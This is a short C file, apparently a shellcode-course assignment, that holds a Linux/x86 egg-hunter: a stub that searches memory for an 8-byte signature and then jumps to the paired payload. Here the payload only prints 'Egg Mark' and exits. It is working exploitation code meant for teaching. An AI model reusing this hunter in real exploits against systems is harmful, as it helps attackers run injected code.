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Egg Hunter Shellcode - C Language - Linux/x86 - forlife
// This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/3rd.assignment/egg_hunter_shellcode.c
#include <stdio.h>
#include <string.h>
unsigned char egg[] = \
// Write "Egg Mark" and exit
"\x90\x50\x90\x50" // <- First Four Bytes of Signature
"\x90\x50\x90\x50" // <- Same first bytes are mandatory (Repeat them)
"\x31\xdb"
"\xf7\xe3\xb0\x04\x6a\x0a\x68\x4d\x61\x72"
"\x6b\x68\x45\x67\x67\x20\xb3\x01\x89\xe1"
"\xb2\x09\xcd\x80\xb0\x01\xcd\x80";
unsigned char egghunter[] = \
// Search for the Egg Signature (0x50905090 x 2) - the Egg's 8 first instructions (nop, push eax, nop, push eax...)
"\xfc\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f"
"\x42\x6a\x21\x58\x8d\x5a\x04\xcd\x80\x3c"
"\xf2\x74\xee\xb8"
"\x90\x50\x90\x50" // <- Signature
"\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";
main ()
{
// When contains null bytes, printf will show a wrong shellcode length.
printf("Shellcode Length: %d\n", strlen(egghunter));
// Pollutes all registers ensuring that the shellcode runs in any circumstance.
__asm__ ("movl $0xffffffff, %eax\n\t"
"movl %eax, %ebx\n\t"
"movl %eax, %ecx\n\t"
"movl %eax, %edx\n\t"
"movl %eax, %esi\n\t"
"movl %eax, %edi\n\t"
"movl %eax, %ebp\n\t"
// Setting the egg hunter signature to search (byte reverse order)
"movl $0x50905090, (egghunter+24)\n\t"
// Calling the shellcode
"call egghunter");
}
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